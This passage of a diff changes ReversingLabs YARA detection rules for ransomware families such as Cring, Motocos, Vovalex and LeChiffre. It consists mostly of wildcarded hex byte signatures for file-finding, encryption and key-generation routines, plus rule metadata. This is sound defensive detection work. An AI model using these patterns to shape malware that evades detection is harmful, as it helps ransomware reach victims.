+            C2 8B 8D ?? ?? ?? ?? 2B C1 83 F8 ?? 72 ?? 8D 41 ?? 83 FA ?? 89 85 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? C7 04 01 ?? ?? ?? ?? C6 44 01 ?? ?? 8D 85 ?? ?? ??
+            ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ??
+            ?? 6A ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ??
+            ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? 8D 47 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11
+            85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ??
+            ?? ?? ?? ?? C6 00 ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 83
+            F8 ?? 72 ?? 8D 41 ?? 83 FA ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ??
+            ?? 66 C7 04 08 ?? ?? 8D 85 ?? ?? ?? ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66
+            0F D6 85 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? C6 45
+        }
+		$encrypt_files_p6 = {
+            8B BD ?? ?? ?? ?? 8B C7 8B 8D ?? ?? ?? ?? 2B C1 8B 56 ?? 3B D0 76 ?? 8B 46 ?? 2B C2
+            3B C1 72 ?? 83 FF ?? 8D 85 ?? ?? ?? ?? 51 0F 43 85 ?? ?? ?? ?? 8B CE 50 6A ?? E8 ??
+            ?? ?? ?? EB ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 10 00 0F 11 85 ?? ?? ?? ?? F3 0F 7E 40 ?? 66 0F D6 85
+            ?? ?? ?? ?? C6 00 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ??
+            ?? ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 6A ?? 68 ?? ?? ?? ?? 83 F8 ?? 72 ?? 83 FA ??
+            8D B5 ?? ?? ?? ?? 8D 41 ?? 0F 43 B5 ?? ?? ?? ?? 03 F1 89 85 ?? ?? ?? ?? 56 E8 ?? ??
+            ?? ?? 83 C4 ?? C6 46 ?? ?? 8D 85 ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 0F 10 00 0F 11 45 ?? F3 0F 7E 40 ?? 66
+            0F D6 45 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? C6 45 ?? ?? 8B 95 ??
+            ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ??
+            83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45
+            ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ??
+            72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ??
+            ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
+            ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81
+        }
+		$encrypt_files_p7 = {
+            FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52
+            51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ??
+            ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
+            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ??
+            8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ??
+            83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ??
+            83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ??
+            2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B
+        }
+		$encrypt_files_p8 = {
+            95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ??
+            ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8
+            ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? 66 89 85 ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ??
+            ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
+            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ??
+            8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2
+            ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? 83 EC ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0
+            C6 45 ?? ?? 83 7E ?? ?? 72 ?? 8B 36 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 56 50 E8 ?? ??
+            ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ??
+            ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ??
+            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ??
+            ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
+        }
+		$encrypt_files_p9 = {
+            83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ??
+            72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83
+            F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D
+            ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87
+            ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49
+            ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
+            ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49
+            ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ??
+            8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ??
+            8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55
+            ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
+            83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ??
+            59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ( all of ($modify_processes_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cring : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_Vovalex : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Cring ransomware."
+		description = "Yara rule that detects Vovalex ransomware."
 		author = "ReversingLabs"
-		id = "76530a6d-145b-5316-8200-4b191d0754fd"
-		date = "2021-08-12"
-		modified = "2021-08-12"
+		id = "dd4d7969-1afc-5e5d-9324-89f432523173"
+		date = "2021-03-12"
+		modified = "2021-03-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Cring.yara#L1-L66"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "05cf60ad39c9dcc592345f13b63c99b153b9253297a8ad9e52e0439081d8c796"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Vovalex.yara#L1-L81"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0c0f065224988bcba45b5aba2dceb080479b0bab235d544daabc3cae72e48318"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -27167,62 +28796,77 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Cring : TC_DETECTION MALICIOUS MALWA
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Cring"
+		tc_detection_name = "Vovalex"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
+		$encrypt_files = {
+            48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B BD ?? ?? ?? ??
+            48 89 BD ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48
+            89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48
+            8B 9D ?? ?? ?? ?? 48 8B 53 ?? 48 8B 03 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48
+            8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 83 F8 ?? 75 ?? 48 8B B5 ??
+            ?? ?? ?? 48 8B 56 ?? 48 8B 06 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 95 ??
+            ?? ?? ?? 8B 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 9D ?? ?? ??
+            ?? 48 8B 53 ?? 48 8B 03 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ??
+            ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 48 83
+            EC ?? 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 89 9D ?? ??
+            ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 89 85 ?? ?? ?? ?? 48 89 9D ?? ?? ?? ?? 48 8D 15 ??
+            ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ??
+            48 89 8D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 9D ?? ?? ?? ??
+            48 89 9D ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 0D
+            ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 85 ?? ?? ?? ?? 48 89 95 ??
+            ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8B 1D ??
+            ?? ?? ?? 48 89 9D ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 89 8D ??
+            ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 89 95 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? B9 ?? ?? ??
+            ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4
+        }
 		$find_files_p1 = {
-            28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 08 6F ?? ?? ?? ?? 19 2E ?? 08 6F ?? ?? ?? ??
-            18 33 ?? 08 6F ?? ?? ?? ?? 2C ?? 08 6F ?? ?? ?? ?? 02 17 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            0D 2B ?? 09 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 2C ?? 09 6F
-            ?? ?? ?? ?? DC 07 17 58 0B 07 06 8E 69 32 ?? 2A
+            48 89 C6 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83
+            EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 06 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC
+            ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89
+            46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89
+            C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ??
+            ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83
+            C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83
+            C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D
+            0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ??
+            ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ??
+            ?? ?? BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48
         }
 		$find_files_p2 = {
-            02 7B ?? ?? ?? ?? 0B 07 45 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 16 0A DD ??
-            ?? ?? ?? 02 15 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ??
-            ?? ?? 14 0C 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 26 DE ?? 08 2C
-            ?? 02 08 7D ?? ?? ?? ?? 02 16 7D ?? ?? ?? ?? 2B ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ??
-            9A 0D 02 09 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 17 0A DD ?? ?? ?? ?? 02 15 7D ?? ?? ??
-            ?? 02 02 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 8E 69
-            32 ?? 02 14 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 39 ?? ?? ?? ?? 14 0C 02 7B ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 0C DE ?? 26 DE ?? 08 39 ?? ?? ?? ?? 02 08 7D ?? ?? ?? ?? 02 16 7D ?? ?? ??
-            ?? 38 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 9A 13 ?? 02 11 ?? 02 7B ?? ?? ??
-            ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 1F ?? 7D ?? ?? ??
-            ?? 2B ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 02 11 ?? 7D ?? ?? ?? ?? 02 18 7D ?? ??
-            ?? ?? 17 0A DE ?? 02 1F ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 28
-            ?? ?? ?? ?? 02 14 7D ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 7B ?? ??
-            ?? ?? 02 7B ?? ?? ?? ?? 8E 69 3F ?? ?? ?? ?? 02 14 7D ?? ?? ?? ?? 16 0A DE ?? 02 28 ??
-            ?? ?? ?? DC 06 2A
-        }
-		$encrypt_files = {
-            16 0A 73 ?? ?? ?? ?? 0B 07 6F ?? ?? ?? ?? 1E 5B 8D ?? ?? ?? ?? 0C 07 6F ?? ?? ?? ?? 1E
-            5B 8D ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 08 6F ?? ?? ?? ?? 11 ?? 09 6F ?? ?? ??
-            ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 8E 69 09 8E 69 58 8D ?? ?? ?? ?? 13 ??
-            08 11 ?? 08 8E 69 28 ?? ?? ?? ?? 09 16 11 ?? 08 8E 69 09 8E 69 28 ?? ?? ?? ?? 11 ?? 04
-            28 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 28 ?? ?? ?? ?? 13 ?? 07 08 09 6F ?? ?? ?? ?? 13 ?? 02
-            19 73 ?? ?? ?? ?? 13 ?? 03 18 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 73 ?? ?? ?? ?? 13 ??
-            11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11
-            ?? 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ??
-            2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F
-            ?? ?? ?? ?? DC 17 0A DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 2A
+            89 C3 48 8B 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 03 48 89 53 ?? 48 8D 15 ?? ??
+            ?? ?? BF ?? ?? ?? ?? 48 89 7B ?? 48 89 53 ?? 48 8D 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 48
+            89 43 ?? 48 89 4B ?? 48 89 9D ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 45 31 C0
+            4C 89 85 ?? ?? ?? ?? 4C 8D A5 ?? ?? ?? ?? 49 C7 04 24 ?? ?? ?? ?? 49 8B 14 24 48 89
+            95 ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D AD ?? ?? ?? ?? 49 B9 ?? ?? ?? ?? ?? ?? ??
+            ?? 4D 89 4D ?? 49 8B 4D ?? 48 89 8D ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D B5 ?? ??
+            ?? ?? 4D 89 06 49 8B 16 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ??
+            45 31 C0 41 3B C0 7E ?? 41 BF ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ??
+            4D 69 D7 ?? ?? ?? ?? 4D 89 11 4C 89 D2 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ??
+            ?? 48 83 C4 ?? 45 31 C0 41 3B C0 79 ?? 4C 89 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48
+            C7 01 ?? ?? ?? ?? 48 8B 01 48 89 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 8D ?? ??
+            ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 85 C0 7E ?? 48 8B 9D ?? ?? ?? ?? 48 B8
+            ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 EB
         }
 
 	condition:
 		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Motocos : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Lechiffre : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Motocos ransomware."
+		description = "Yara rule that detects LeChiffre ransomware."
 		author = "ReversingLabs"
-		id = "cda44b86-c747-5b48-acd8-e68311ab24a3"
-		date = "2021-09-17"
-		modified = "2021-09-17"
+		id = "5d2698fe-9a0b-549d-9a83-72e2ccfc1966"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Motocos.yara#L1-L75"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "34b99847f029a291808f08ba6e6ae62a54e6fed5acc928fe4828054801786881"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.LeChiffre.yara#L1-L123"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0b96f5f48700f2cba22da91187b3111946074e9cc58a502f25d7b96059a043cb"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -27230,68 +28874,122 @@ rule REVERSINGLABS_Win32_Ransomware_Motocos : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Motocos"
+		tc_detection_name = "LeChiffre"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$generate_key = {
-            55 8B EC 83 C4 ?? 53 89 4D ?? 89 55 ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 83 7D ?? ?? 74 ?? 8B 45 ?? 8B 15
-            ?? ?? ?? ?? 8B 12 E8 ?? ?? ?? ?? 75 ?? B9 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 89 45 ?? 33 D2 55 68 ?? ??
-            ?? ?? 64 FF 32 64 89 22 8B 4D ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? 89 45 ?? 33 D2 55 68
-            ?? ?? ?? ?? 64 FF 32 64 89 22 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 8B D8 89 5D ?? 80
-            7D ?? ?? 75 ?? 8B 5D ?? 03 DB 53 8D 45 ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 53 8D 45 ?? 50 8B 45 ?? 50 6A ?? 80 7D ?? ?? F5 1B C0 50 6A ?? 8B 45
